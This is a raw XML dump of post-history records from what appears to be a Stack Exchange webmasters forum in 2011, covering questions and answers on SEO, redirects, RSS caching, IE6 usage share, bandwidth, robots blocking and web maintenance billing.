  <row Id="30580" PostHistoryTypeId="1" PostId="13278" RevisionGUID="b333bf60-efb4-4655-8710-a9ac4adaa6c1" CreationDate="2011-05-03T17:59:33.657" UserId="6033" Text="301 Redirect are these URLs equivalent?" />
  <row Id="30581" PostHistoryTypeId="3" PostId="13278" RevisionGUID="b333bf60-efb4-4655-8710-a9ac4adaa6c1" CreationDate="2011-05-03T17:59:33.657" UserId="6033" Text="&lt;mod-rewrite&gt;&lt;301-redirect&gt;" />
  <row Id="30582" PostHistoryTypeId="5" PostId="13100" RevisionGUID="f326d74a-13c8-4829-bf4b-d51bb1c53218" CreationDate="2011-05-03T18:07:28.860" UserId="5315" Comment="Removed hello, thanks" Text="Having an h1 with &quot;real&quot; text in it is just as good for SEO as having that h1 with an image background and the same text, but set to be indented to -9999px and ltr?" />
  <row Id="30583" PostHistoryTypeId="24" PostId="13100" RevisionGUID="f326d74a-13c8-4829-bf4b-d51bb1c53218" CreationDate="2011-05-03T18:07:28.860" Comment="Proposed by 5315 approved by 108 edit id of 247" />
  <row Id="30584" PostHistoryTypeId="5" PostId="12970" RevisionGUID="918d77c3-ef57-46ad-98eb-5eadba66e983" CreationDate="2011-05-03T18:07:54.087" UserId="5315" Comment="Cleaned up grammar, better use of links" Text="Just want to clarify what [Eric Vold write][1] about the parameter (`?lang=en`)&#xD;&#xA;&#xD;&#xA;Turns out that [Google does not recommend using this kind of parameter][2] as it is confusing for visitors (and other factors).&#xD;&#xA;&#xD;&#xA;The best option from your list would be A as seriocomic suggested, but even better if you put it this way: &#xD;&#xA;&#xD;&#xA;&gt; en.website.com/tomato/just-about-tomatos&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/12966/which-of-these-3-url-rewritings-are-better-seo-friendly-urls/12968#12968&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=182192" />
  <row Id="30585" PostHistoryTypeId="24" PostId="12970" RevisionGUID="918d77c3-ef57-46ad-98eb-5eadba66e983" CreationDate="2011-05-03T18:07:54.087" Comment="Proposed by 5315 approved by 108 edit id of 246" />
  <row Id="30586" PostHistoryTypeId="5" PostId="10532" RevisionGUID="cb4e3c0a-c68c-4414-933b-5af36aeedc6f" CreationDate="2011-05-03T18:08:06.987" UserId="5315" Comment="Removing hello, thanks" Text="Me and a good friend of mine are exploring the possibilities of either of the three scenarios for a website where each webpage has a menusystem with about 130 links.:&#xD;&#xA;&#xD;&#xA;&gt;**SCENARIO 1**  &#xD;&#xA;&gt;the pages menu system has SHORT non-descriptive hyperlinks as well as a SHORT canonical:  &#xD;&#xA;`&lt;a href:&quot;design&quot;&gt;dutch design&lt;/a&gt;`  &#xD;&#xA;the pages canonical url points to e.g.: &quot;`design`&quot;&#xD;&#xA;&#xD;&#xA;OR &#xD;&#xA;&gt;**SCENARIO 2**  &#xD;&#xA;the pages menu system has SHORT non-descriptive hyperlinks wwith LONG canonical urls:  &#xD;&#xA;`&lt;a href=&quot;design&quot;&gt;dutch design&lt;/a&gt;`  &#xD;&#xA;the pages canonical url points to: `dutch-design-crazy-yes-but-always-honest`  &#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;&gt;**SCENARIO 3**  &#xD;&#xA;the pages menu system has LONG descriptive hyperlinks with LONG canonical urls:  &#xD;&#xA;`&lt;a href=&quot;dutch-design-crazy-yes-but-always-honest&quot;&gt;dutch design&lt;/a&gt;`  &#xD;&#xA;the pages canonical url points to: `dutch-design-crazy-yes-but-always-honest`  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Currently we have scenario 2... should we progress to scenario 3?&#xD;&#xA;All three work fine and point via RewriteMod to the same page which is fetched underwater.&#xD;&#xA;Now, my question is which of these is better in terms of:&#xD;&#xA;&#xD;&#xA; - userfriendlyness (page loading times, full url visible in url bar or not)&#xD;&#xA; - seo friendlyness (proper indexing due to the urls containing descriptive relevant tags)&#xD;&#xA; - other concerns we forgot like possible penalties for so many words in link hrefs??&#xD;&#xA;" />
  <row Id="30587" PostHistoryTypeId="24" PostId="10532" RevisionGUID="cb4e3c0a-c68c-4414-933b-5af36aeedc6f" CreationDate="2011-05-03T18:08:06.987" Comment="Proposed by 5315 approved by 108 edit id of 243" />
  <row Id="30588" PostHistoryTypeId="25" PostId="13250" RevisionGUID="71c6ceda-e9ba-47d9-9f8c-3adb97fd94e8" CreationDate="2011-05-03T18:11:23.113" Comment="http://twitter.com/#!/StackWebmasters/status/65478574102159361" />
  <row Id="30589" PostHistoryTypeId="2" PostId="13279" RevisionGUID="197e954b-54ca-4a97-9072-52ad0946b075" CreationDate="2011-05-03T18:44:12.353" UserId="6634" Text="In short: a long time.&#xD;&#xA;&#xD;&#xA;To elaborate: not a long time.&#xD;&#xA;&#xD;&#xA;As described above, there are some changes that can have an effect almost immediately and other changes that won't have an effect for months. Many changes also might start to effect your site positively soon, but you won't notice them right away because there will be a lot of noise among the signals.&#xD;&#xA;&#xD;&#xA;Other things that matter are the size of the site, the industry/niche, the level of prior optimization, what your competitors are doing and what else you're doing besides SEO." />
  <row Id="30596" PostHistoryTypeId="2" PostId="13281" RevisionGUID="90d3c0cb-27fb-4792-93e9-3daa6ff96534" CreationDate="2011-05-03T19:54:46.920" UserId="6901" Text="Try http://www.vanillaforums.org: it's not exactly like that site but it has some similar features, and is &quot;lite&quot;." />
  <row Id="30597" PostHistoryTypeId="25" PostId="13269" RevisionGUID="9fc52d46-e3ee-4ff5-a645-69fc78a9db2f" CreationDate="2011-05-03T21:11:23.917" Comment="http://twitter.com/#!/StackWebmasters/status/65523875961774080" />
  <row Id="30598" PostHistoryTypeId="2" PostId="13282" RevisionGUID="6ef2a62b-4619-410b-a430-b925cdca0e4b" CreationDate="2011-05-03T22:14:41.477" UserId="7076" Text="Stats from Google Analytics for my blog. Traffic is mostly tech and Wordpress related. Over the past month I had 13k visits, 23% were IE and broken down by version:&#xD;&#xA;	&#xD;&#xA;8.0&#xD;&#xA;	2,128 	72.01% 		&#xD;&#xA;7.0&#xD;&#xA;	421 	14.25% 		&#xD;&#xA;9.0	288 	9.75% 	 	&#xD;&#xA;6.0&#xD;&#xA;	118 	3.99%&#xD;&#xA;&#xD;&#xA;That translates to about 0.9% IE6 usage." />
  <row Id="30599" PostHistoryTypeId="16" PostId="13282" RevisionGUID="119992e6-cfd8-44f0-9fa6-cce5d2b12049" CreationDate="2011-05-03T22:14:41.477" UserId="7076" />
  <row Id="30600" PostHistoryTypeId="17" PostId="13284" RevisionGUID="3fdd3548-238f-4cfa-a08a-84d141d1e4fd" CreationDate="2011-05-03T22:27:13.370" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/64767/rss-feeds-are-they-cached/73455#73455" Text="" />
  <row Id="30601" PostHistoryTypeId="2" PostId="13284" RevisionGUID="249cead4-2e0c-4c27-b6b1-722cc191bcce" CreationDate="2011-05-03T22:10:44.897" UserDisplayName="oleksii" Text="To the best of my knowledge you cannot do that. It is based on the ATOM protocol that doesn't support updates of the achieved feeds (once the change is picked up by feed burner). You will be able to update the post before it is cached. If the user clicks on the feed and is redirected to the actual post itself, he/she will see the latest version." />
  <row Id="30602" PostHistoryTypeId="2" PostId="13283" RevisionGUID="f7813746-6b79-4e48-86e1-36e17a346f6a" CreationDate="2011-04-03T04:46:08.793" UserDisplayName="CoffeeAddict" Text="How can I (or is it possible) to remove some blog posts out of a feed such as Google Feedburner?  I have removed some from my blog but obviously looks like they are cached somehow.  I just don't want some of the blog posts to be able to be read through anyone who subscribes...I don't want them to see those posts that I removed in the future in the feed itself.&#xD;&#xA;&#xD;&#xA;Am I asking the impossible here?  I don't know how RSS works in terms of cache/history." />
  <row Id="30603" PostHistoryTypeId="1" PostId="13283" RevisionGUID="f7813746-6b79-4e48-86e1-36e17a346f6a" CreationDate="2011-04-03T04:46:08.793" UserDisplayName="CoffeeAddict" Text="RSS Feeds - Are they Cached?" />
  <row Id="30604" PostHistoryTypeId="3" PostId="13283" RevisionGUID="f7813746-6b79-4e48-86e1-36e17a346f6a" CreationDate="2011-04-03T04:46:08.793" UserDisplayName="CoffeeAddict" Text="&lt;rss&gt;" />
  <row Id="30605" PostHistoryTypeId="17" PostId="13283" RevisionGUID="27c282c3-0143-4784-b28a-cbf9e9c77fdc" CreationDate="2011-05-03T22:27:13.370" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/64767/rss-feeds-are-they-cached" Text="" />
  <row Id="30606" PostHistoryTypeId="2" PostId="13285" RevisionGUID="06cdf02a-d72d-4da5-8398-21b8ad2ecbb3" CreationDate="2011-05-03T23:00:32.797" UserId="6860" Text="Hobby related blog, 76,000 visits year to date.  IE6 makes up 2.26% of this." />
  <row Id="30607" PostHistoryTypeId="16" PostId="13285" RevisionGUID="58a3edb7-c94b-4102-9934-d5a6c7951a1c" CreationDate="2011-05-03T23:00:32.797" UserId="6860" />
  <row Id="30608" PostHistoryTypeId="25" PostId="13226" RevisionGUID="043a3fb2-deee-4e43-ad75-6cb39ab0bc69" CreationDate="2011-05-04T00:11:23.883" Comment="http://twitter.com/#!/StackWebmasters/status/65569173513846784" />
  <row Id="30609" PostHistoryTypeId="2" PostId="13286" RevisionGUID="48533ede-07a1-4c1e-8234-e8c5594490c3" CreationDate="2011-05-04T00:25:41.880" UserId="7055" Text="So my team is launching a website soon that is a extreme category killer.  Is it worth blocking spiders from indexing the landing page right now?  What effects will this have on my long term SEO results.  Is this question even revelant? " />
  <row Id="30610" PostHistoryTypeId="1" PostId="13286" RevisionGUID="48533ede-07a1-4c1e-8234-e8c5594490c3" CreationDate="2011-05-04T00:25:41.880" UserId="7055" Text="Site Launch Dis-Allow Robots?" />
  <row Id="30611" PostHistoryTypeId="3" PostId="13286" RevisionGUID="48533ede-07a1-4c1e-8234-e8c5594490c3" CreationDate="2011-05-04T00:25:41.880" UserId="7055" Text="&lt;seo&gt;" />
  <row Id="30612" PostHistoryTypeId="2" PostId="13287" RevisionGUID="fcefbc81-8c79-4b23-9630-d0e0805fc69a" CreationDate="2011-05-04T01:18:22.460" UserId="7247" Text="If the landing page could allow your competitor's to gain an advantage or steal some of your ingenuity, then YES - BLOCK IT.  &#xD;&#xA;&#xD;&#xA;However that doesn't mean your page won't appear in search engine results.  It is better to add `&lt;meta content=”noindex”&gt;` to each page but more of a pain to add and adjust.&#xD;&#xA;&#xD;&#xA;This article is great and will help with the details -&gt; [robots.txt and effect on SEO][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seoinc.com/seo-blog/robots-txt-and-seo-what-you-need-to-know/" />
  <row Id="30613" PostHistoryTypeId="5" PostId="13286" RevisionGUID="d42a8b1d-8c3b-499b-a6cf-2ef836c72d32" CreationDate="2011-05-04T01:37:46.100" UserId="7055" Comment="added 63 characters in body; edited title" Text="So my team is launching a website soon that is a extreme category killer.  Is it worth blocking spiders from indexing the landing page right now?  What effects will this have on my long term SEO results.  Is this question even relevant? &#xD;&#xA;&#xD;&#xA;Edit: Title changed to reflect real nature of the question." />
  <row Id="30614" PostHistoryTypeId="4" PostId="13286" RevisionGUID="d42a8b1d-8c3b-499b-a6cf-2ef836c72d32" CreationDate="2011-05-04T01:37:46.100" UserId="7055" Comment="added 63 characters in body; edited title" Text="Pre Launch Dis-Allow Robots?" />
  <row Id="30615" PostHistoryTypeId="2" PostId="13288" RevisionGUID="dec80118-3d2c-406e-8cc7-c2ef199eaef3" CreationDate="2011-05-04T02:55:01.807" UserId="2228" Text="If you really want to control the indexing of your site either to block it or promote it, the process is the same. Yes, you have the Robots.txt to help you out for the majority of search engines (that support it, a.k.a. the legit ones). But for the really major engines, like Google, Yahoo, and MSN (not sure about Ask), you get tools from them that allow you to control what is indexed to a much finer digree than Robots.txt ever will. For Google it was the [Webmaster Tools][1], for Yahoo and MSN I forget what they were called, but you can find their tools as well. Sadly though, the Yahoo and MSN tools are way behind Google's, but should still do a good job for basic needs.&#xD;&#xA;&#xD;&#xA;Using the combination of Robots.txt and the tools I've successfully kept a group of related websites from ever being indexed (they were being kept private), but I could have also promoted their ranking as well if I needed to through the same tools.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/accounts/ServiceLogin?service=sitemaps&amp;passive=true&amp;nui=1&amp;continue=https://www.google.com/webmasters/tools/&amp;followup=https://www.google.com/webmasters/tools/&amp;hl=en" />
  <row Id="30616" PostHistoryTypeId="25" PostId="13286" RevisionGUID="2ce36d7d-6bb5-41cc-88a7-6ae1844f14b8" CreationDate="2011-05-04T03:11:23.657" Comment="http://twitter.com/#!/StackWebmasters/status/65614471409840128" />
  <row Id="30617" PostHistoryTypeId="2" PostId="13289" RevisionGUID="98d2c2c0-13c1-41b4-98e4-96151c3623d9" CreationDate="2011-05-04T03:11:45.543" UserId="7271" Text="You may refer to this post http://stackoverflow.com/questions/657922/know-any-asp-net-mvc-web-hosting-in-europe. And the other provider that support ASP.NET MVC 3 is asphostportal (http://www.asphostportal.com). Good luck and hope it's help" />
  <row Id="30621" PostHistoryTypeId="2" PostId="13291" RevisionGUID="f7218c94-6262-483c-a85c-d0e027057637" CreationDate="2011-05-04T04:03:45.820" UserId="7272" Text="how would i be able to get data from another website and put it on own? website a has profiles of users along with other stuff. i want to be able to get the data of the user and incorporate it in mysite. thanks" />
  <row Id="30622" PostHistoryTypeId="1" PostId="13291" RevisionGUID="f7218c94-6262-483c-a85c-d0e027057637" CreationDate="2011-05-04T04:03:45.820" UserId="7272" Text="get data from another website" />
  <row Id="30623" PostHistoryTypeId="3" PostId="13291" RevisionGUID="f7218c94-6262-483c-a85c-d0e027057637" CreationDate="2011-05-04T04:03:45.820" UserId="7272" Text="&lt;php&gt;&lt;xml&gt;&lt;data&gt;" />
  <row Id="30624" PostHistoryTypeId="2" PostId="13292" RevisionGUID="2960e96e-2f67-474c-bb55-a59fd9959b17" CreationDate="2011-05-04T04:06:00.270" UserId="7273" Text="Over the years we have developed many websites for clients.&#xD;&#xA;&#xD;&#xA;The issue we currently deal with is having individual clients wanting minor changes or enhancements to their site. Each client doesn't contact us often, but collectively this adds up into a bunch work.&#xD;&#xA;&#xD;&#xA;To date we don't have a clean way to charge for these services, and as a result it often seems easier to do a quick fix and in fact much of this work goes unbilled as it just seems to hard.&#xD;&#xA;&#xD;&#xA;Please outline what you consider to be a better system to handle these clients, links to any maintenance agreements.&#xD;&#xA;&#xD;&#xA;I considered the idea of charging clients for prepaid block hours of say 10 hours and then when they make requests we can just draw down from that, but we don't know of any good systems which already do this kind of thing.&#xD;&#xA;&#xD;&#xA;What should we do?" />
  <row Id="30625" PostHistoryTypeId="1" PostId="13292" RevisionGUID="2960e96e-2f67-474c-bb55-a59fd9959b17" CreationDate="2011-05-04T04:06:00.270" UserId="7273" Text="How to charge for web maintenance services" />
  <row Id="30626" PostHistoryTypeId="3" PostId="13292" RevisionGUID="2960e96e-2f67-474c-bb55-a59fd9959b17" CreationDate="2011-05-04T04:06:00.270" UserId="7273" Text="&lt;site-maintenance&gt;" />
  <row Id="30630" PostHistoryTypeId="2" PostId="13293" RevisionGUID="13bf1f97-1d49-462b-a7b9-c9bf8978f62d" CreationDate="2011-05-04T04:34:08.903" UserId="5056" Text="To get data from another website, you can use a RESTful approach by using the same protocols a human user would use in order for two machines to communicate.&#xD;&#xA;&#xD;&#xA;The beautiful thing about URLs is that machines can use them too!&#xD;&#xA;&#xD;&#xA;Since you've used the PHP tag, I'm assuming PHP is your server-side language of choice.  The [PHP cURL](http://php.net/manual/en/book.curl.php) function will allow your server-side portion of your website to make HTTP GET and POST requests to a specific URL to get the data that URL represents.  Once you have that data, you can then parse that data, store it, display it, or do whatever you want to do with that data.&#xD;&#xA;&#xD;&#xA;This involves programming, and also depends on the specific type of data that you're trying to obtain; therefore, please review the cURL reference for more detailed examples that will help get you started on solving this problem.&#xD;&#xA;&#xD;&#xA;Once you have more specific questions, with code examples, please post them on [Stack Overflow](http://www.stackoverflow.com)." />
  <row Id="30631" PostHistoryTypeId="25" PostId="13292" RevisionGUID="2fccce7b-90fa-438c-841b-3cf2123c1eb3" CreationDate="2011-05-04T06:11:23.793" Comment="http://twitter.com/#!/StackWebmasters/status/65659770253746176" />
  <row Id="30635" PostHistoryTypeId="2" PostId="13295" RevisionGUID="c8c6135e-69ce-4c26-b3c5-4e0e97c421db" CreationDate="2011-05-04T08:48:12.730" UserId="7085" Text="This being not a discussion forum, i'll just answer the question. &#xD;&#xA;&#xD;&#xA;We cannot be sure that .htaccess has anything to do with the issue you are experiencing, because a 404 error can also depends on other factors. The better thing you can do is to rename it from &quot;.htaccess&quot; to &quot;htaccess.txt&quot;, so that it gets disabled, and check again if your site works.&#xD;&#xA;&#xD;&#xA;My guess is that, unless you previously made significant changes to this file, it is not the cause of the issue.&#xD;&#xA;&#xD;&#xA;So, on a bonus note:&#xD;&#xA; - check carefully configuration.php file and verify *_path and live_site parameters&#xD;&#xA; - if you are able to access the administrator part of the site, disable all Joomla or 3rd party SEF functionalities.&#xD;&#xA;&#xD;&#xA;If this does not lead you to a functional site there is some serious misconfiguration and a simple answer surely can't fix it." />
  <row Id="30636" PostHistoryTypeId="2" PostId="13296" RevisionGUID="ebc540dd-8e2f-4772-a938-cf9900b66cf0" CreationDate="2011-05-04T09:06:52.993" UserId="7277" Text="I am totally Agree Google Identify your IP Address not the browser Settings,&#xD;&#xA;and Its extremly target to the localisation, Get another IP address and Search otherwise try Proxy Websites," />
  <row Id="30638" PostHistoryTypeId="2" PostId="13297" RevisionGUID="c666b34c-7773-4e55-a042-a80c51a23846" CreationDate="2011-05-04T10:07:23.797" UserId="5739" Text="Some really good specific answers here which is great. Very interesting to see the differences according to site demographics.&#xD;&#xA;&#xD;&#xA;Just out of interest. [StatCounter Global Stats][1] are showing IE6 at 4.14% in April 2011 down from 10.13% in April 2010 so a significant downwards trend.&#xD;&#xA;&#xD;&#xA;As Blowski stated, this is all very well unless you are supporting big blue chips or public sector where IE 6 is still in use. We are currently having to develop for the Ministry of justice and part of the contract is the system *has to work* on IE6.&#xD;&#xA;&#xD;&#xA;Does anyone have any Paracetamol spare. I have a raging headache!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gs.statcounter.com/" />
  <row Id="30639" PostHistoryTypeId="16" PostId="13297" RevisionGUID="41d05334-9db9-4953-b6d9-4d46b94ec64f" CreationDate="2011-05-04T10:07:23.797" UserId="5739" />
  <row Id="30640" PostHistoryTypeId="2" PostId="13298" RevisionGUID="c375b3bb-91b1-4ec2-a3d8-0b608f4e0831" CreationDate="2011-05-04T10:30:19.853" UserId="7279" Text="I rceived a higher than normal monthly bill from my web hosting company. They have told me &#xD;&#xA;that I have exceeded my monthly minimum for bandwidth usage and adviced me to  reduce the file size of my web pages. Is there any way I could determine the bandwidth I require for hosting my website? or some tool that I could monitor the usage because I dont know which files I should be working on&#xD;&#xA;&#xD;&#xA;Thank You" />
  <row Id="30641" PostHistoryTypeId="1" PostId="13298" RevisionGUID="c375b3bb-91b1-4ec2-a3d8-0b608f4e0831" CreationDate="2011-05-04T10:30:19.853" UserId="7279" Text="Excess bandwidth usage,how do I overcome this?" />
  <row Id="30642" PostHistoryTypeId="3" PostId="13298" RevisionGUID="c375b3bb-91b1-4ec2-a3d8-0b608f4e0831" CreationDate="2011-05-04T10:30:19.853" UserId="7279" Text="&lt;web-hosting&gt;&lt;bandwidth&gt;" />
  <row Id="30643" PostHistoryTypeId="2" PostId="13299" RevisionGUID="70da61c2-5195-49ce-b3fc-91fb3474cb3a" CreationDate="2011-05-04T10:33:02.453" UserId="5727" Text="We only have 10% visitors using IE, most popular is Firefox with 45% followed by Chrome with 31%.&#xD;&#xA;&#xD;&#xA;Of our IE users only 5% are on IE, which means it represents 0.5% of the total.&#xD;&#xA;&#xD;&#xA;Our site is probably considered more tech savvy than most sites though.  Which makes my life a lot easier as the developer for sure!" />
  <row Id="30644" PostHistoryTypeId="16" PostId="13299" RevisionGUID="25c693ac-68aa-465e-8fad-7146345e575c" CreationDate="2011-05-04T10:33:02.453" UserId="5727" />
  <row Id="30645" PostHistoryTypeId="5" PostId="13299" RevisionGUID="a333708d-e9c7-4f24-ab89-4f7ad245ef3f" CreationDate="2011-05-04T10:38:03.310" UserId="5727" Comment="added 1 characters in body" Text="We only have 10% visitors using IE, most popular is Firefox with 45% followed by Chrome with 31%.&#xD;&#xA;&#xD;&#xA;Of our IE users only 5% are on IE6, which means it represents 0.5% of the total.&#xD;&#xA;&#xD;&#xA;Our site is probably considered more tech savvy than most sites though.  Which makes my life a lot easier as the developer for sure!" />
  <row Id="30646" PostHistoryTypeId="2" PostId="13300" RevisionGUID="91a8783b-7fb2-4d45-a725-5428c0e666f7" CreationDate="2011-05-04T10:48:06.820" UserId="7280" Text="I wonder whether there's any markdown editor similar to this one on StackExchange sites that's pluggable into Joomla CMS?&#xD;&#xA;&#xD;&#xA;Regular users tend to use rich WYSIWYG as they use Word. They set too many styles which makes the whole page ugly. Markdown editors on the other hand allow writing rich content that will end up in style of the site.&#xD;&#xA;&#xD;&#xA;**So are there any?**" />
  <row Id="30647" PostHistoryTypeId="1" PostId="13300" RevisionGUID="91a8783b-7fb2-4d45-a725-5428c0e666f7" CreationDate="2011-05-04T10:48:06.820" UserId="7280" Text="Markdown editor for Joomla" />
  <row Id="30648" PostHistoryTypeId="3" PostId="13300" RevisionGUID="91a8783b-7fb2-4d45-a725-5428c0e666f7" CreationDate="2011-05-04T10:48:06.820" UserId="7280" Text="&lt;joomla&gt;&lt;text-editor&gt;" />
  <row Id="30649" PostHistoryTypeId="5" PostId="13300" RevisionGUID="acae744e-08fc-4444-909f-568b0e028e2d" CreationDate="2011-05-04T10:58:37.430" UserId="7280" Comment="added 53 characters in body; edited title" Text="I wonder whether there's any markdown editor similar to one used on StackExchange sites that's pluggable into Joomla CMS?&#xD;&#xA;&#xD;&#xA;Regular users tend to use rich WYSIWYG as they use Word. They set too many styles which makes the whole page ugly. Markdown editors on the other hand allow writing rich content that will end up in style of the site.&#xD;&#xA;&#xD;&#xA;Textile editor welcome as well, but less desired.&#xD;&#xA;&#xD;&#xA;**So are there any?**" />
  <row Id="30650" PostHistoryTypeId="4" PostId="13300" RevisionGUID="acae744e-08fc-4444-909f-568b0e028e2d" CreationDate="2011-05-04T10:58:37.430" UserId="7280" Comment="added 53 characters in body; edited title" Text="Markdown (or Textile) editor for Joomla" />
  <row Id="30651" PostHistoryTypeId="2" PostId="13301" RevisionGUID="df2fed4f-a063-4ffd-aa9f-090e5cd9a787" CreationDate="2011-05-04T11:47:00.817" UserId="7159" Text="I've seen several versions when working with firms that handle websites.&#xD;&#xA;&#xD;&#xA; 1. small monthly maintenance fee&#xD;&#xA; 2. prepaid blocks of time at a discount&#xD;&#xA; 3. hourly rate sheet w/ or w/o minimum (typically 2 hours)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30652" PostHistoryTypeId="2" PostId="13302" RevisionGUID="0e5477e3-b4a1-44bb-bebb-5c6a2d978767" CreationDate="2011-05-04T11:47:47.677" UserId="7281" Text="The content permissions module creates a new section under User Management -&gt; Permissions -&gt; content_permissions module - ensure anonymous users have permissions to view each of the image or file fields that have been created." />
  <row Id="30656" PostHistoryTypeId="2" PostId="13303" RevisionGUID="a6d6e52a-40f3-49ed-a38f-2a4f03a42cce" CreationDate="2011-05-04T12:02:32.803" UserId="4830" Text="While not feasable for larger sites, you could use [GTmetrix](http://gtmetrix.com/) to analyze a page and see what are your biggest files.&#xD;&#xA;&#xD;&#xA;A bonus is that it recommends several other possibilities to further minimize your bandwidth." />
  <row Id="30657" PostHistoryTypeId="2" PostId="13304" RevisionGUID="ed71d1a5-a290-4cee-ac85-5a646627d6e1" CreationDate="2011-05-04T12:09:09.023" UserId="7282" Text="Have a look at [Drupal][1], it's not specifically forum software it's a generic CMS but has forum modules available for download. Because it's a CMS you can make it has heavy or lite as you like, and customise the themes.&#xD;&#xA;  [1]: http://drupal.org" />
  <row Id="30658" PostHistoryTypeId="25" PostId="13298" RevisionGUID="b4fd9a09-dc83-4416-a5d0-8431b2c55cbf" CreationDate="2011-05-04T12:11:23.737" Comment="http://twitter.com/#!/StackWebmasters/status/65750367593443329" />
  <row Id="30659" PostHistoryTypeId="2" PostId="13305" RevisionGUID="cd1a55ce-34a6-4e7d-8b07-b3607d621b77" CreationDate="2011-05-04T12:24:04.580" UserId="7246" Text="I bought a new domain for myself. I got an email account free with the domain. Inorder to access mails through my gmail account I set up auto-forwarding all mails from my domain's webmail. Now the problem is at times it forwards mails instantly but sometimes it doesn't. Can anything be done about it?" />
  <row Id="30660" PostHistoryTypeId="1" PostId="13305" RevisionGUID="cd1a55ce-34a6-4e7d-8b07-b3607d621b77" CreationDate="2011-05-04T12:24:04.580" UserId="7246" Text="Forwarding emails not working" />
  <row Id="30661" PostHistoryTypeId="3" PostId="13305" RevisionGUID="cd1a55ce-34a6-4e7d-8b07-b3607d621b77" CreationDate="2011-05-04T12:24:04.580" UserId="7246" Text="&lt;domains&gt;&lt;webmail&gt;" />
  <row Id="30662" PostHistoryTypeId="5" PostId="13286" RevisionGUID="11959343-ae14-400c-9dca-19b4e8a00b59" CreationDate="2011-05-04T12:35:11.633" UserId="7055" Comment="added 184 characters in body" Text="So my team is launching a website soon that is a extreme category killer.  Is it worth blocking spiders from indexing the landing page right now?  What effects will this have on my long term SEO results.  Is this question even relevant? &#xD;&#xA;&#xD;&#xA;Edit: Title changed to reflect real nature of the question.&#xD;&#xA;&#xD;&#xA;Edit2: Great answers below, but in reality I am looking for an answer that directs me to whether the practice of blocking robots pre launch is good or bad for future SEO results.  " />
  <row Id="30663" PostHistoryTypeId="5" PostId="13291" RevisionGUID="5481a364-c725-4de5-8d36-0d76c35effef" CreationDate="2011-05-04T12:36:41.847" UserId="5056" Comment="fixed spelling, grammar, and capitalization" Text="How would I be able to get data from another website and put it on my own website? Website A has profiles of users along with other stuff. I want to be able to get the data of the user and incorporate it in my site. " />
  <row Id="30664" PostHistoryTypeId="4" PostId="13291" RevisionGUID="5481a364-c725-4de5-8d36-0d76c35effef" CreationDate="2011-05-04T12:36:41.847" UserId="5056" Comment="fixed spelling, grammar, and capitalization" Text="How To Get Data From Another Website?" />
  <row Id="30665" PostHistoryTypeId="24" PostId="13291" RevisionGUID="5481a364-c725-4de5-8d36-0d76c35effef" CreationDate="2011-05-04T12:36:41.847" Comment="Proposed by 5056 approved by 108 edit id of 248" />
  <row Id="30666" PostHistoryTypeId="2" PostId="13306" RevisionGUID="284cf99b-7386-4cd6-abab-aae7a24cacde" CreationDate="2011-05-04T12:57:13.773" UserId="1953" Text="Most hosting companies provide a way to monitor bandwidth usage through their control panels. You could then look and see how much you used this month and use that as an estimate or if they don't they should at least tell you how much you used to incur an overage.&#xD;&#xA;&#xD;&#xA;If you absolutely can't get historical bandwidth info A rule of thumb I was given when I worked at a hosting company (years ago) is average page size x highest number of pageviews in one day = daily bandwidth. That would give you a little extra to handle any spikes in traffic. (Note that I don't know how accurate this is as I've never had to use this calculation because most sites that are hosted somewhere already have real bandwidth data and most new sites don't have enough traffic to worry about overages)." />
  <row Id="30667" PostHistoryTypeId="2" PostId="13307" RevisionGUID="2dfc28a0-3142-415d-90e2-2d347cca8101" CreationDate="2011-05-04T14:09:44.230" UserId="1643" Text="There are many places where delays could occur in the path between your domain and Google's servers. No, there's not a lot you can do about that." />
  <row Id="30668" PostHistoryTypeId="2" PostId="13308" RevisionGUID="d61b4aa8-ce8d-47c0-ac25-22bd3aaaa327" CreationDate="2011-05-04T14:30:19.207" UserId="6353" Text="I offer two service contracts: 30 minutes a month for $1X or 90 minutes for $2X. Most clients don't use all of their time so I can price slightly below my normal rate and be OK.  Additional hours are discounted from my regular hourly, if they commit to a contract.  This is only for fixes or changes, new development is at standard rate." />
  <row Id="30669" PostHistoryTypeId="2" PostId="13309" RevisionGUID="2111224d-5f1e-477b-9761-8bfdab38d09f" CreationDate="2011-05-04T14:56:52.893" UserId="7285" Text="Put aside some risky countries like Libya, I think we can buy .co domains pretty safely as we can buy other major TLDs like .co.uk, .de, .com. .net, etc. Colombia is a stable republic and a growing economy as Brazil and Mexico.&#xD;&#xA;&#xD;&#xA;Obviously any government can seize domains for important reasons, that's what US did with about 100 .com domains during the last months." />
  <row Id="30670" PostHistoryTypeId="25" PostId="13305" RevisionGUID="e28a1325-7040-4afe-aeac-8e59824d8b84" CreationDate="2011-05-04T15:11:23.980" Comment="http://twitter.com/#!/StackWebmasters/status/65795667355906048" />
  <row Id="30671" PostHistoryTypeId="2" PostId="13310" RevisionGUID="dab02540-1ea9-46a9-a740-1e89fc48c36c" CreationDate="2011-05-04T16:40:38.680" UserId="3320" Text="I'm looking at two automated tools to scan our site and alert us of spellcheck and link error problems. &#xD;&#xA;&#xD;&#xA;Check Dog - http://checkdog.com/&#xD;&#xA;&#xD;&#xA;Site Check - http://siteimprove.com/Solutions/SiteCheck/SiteCheck2.aspx&#xD;&#xA;&#xD;&#xA;Are there other tools we should consider for this? Or do you have any experiences you can share about these tools? &#xD;&#xA;&#xD;&#xA;Our goals are basically to have something consistently checking the entire site for spelling errors and link problems. &#xD;&#xA;&#xD;&#xA;We've been just using Xenu - http://home.snafu.de/tilman/xenulink.html which works pretty well for spot link checking, but it doesn't do any spellchecking and it isn't automated." />
  <row Id="30672" PostHistoryTypeId="1" PostId="13310" RevisionGUID="dab02540-1ea9-46a9-a740-1e89fc48c36c" CreationDate="2011-05-04T16:40:38.680" UserId="3320" Text="What tools to use for automated link and spellchecking" />
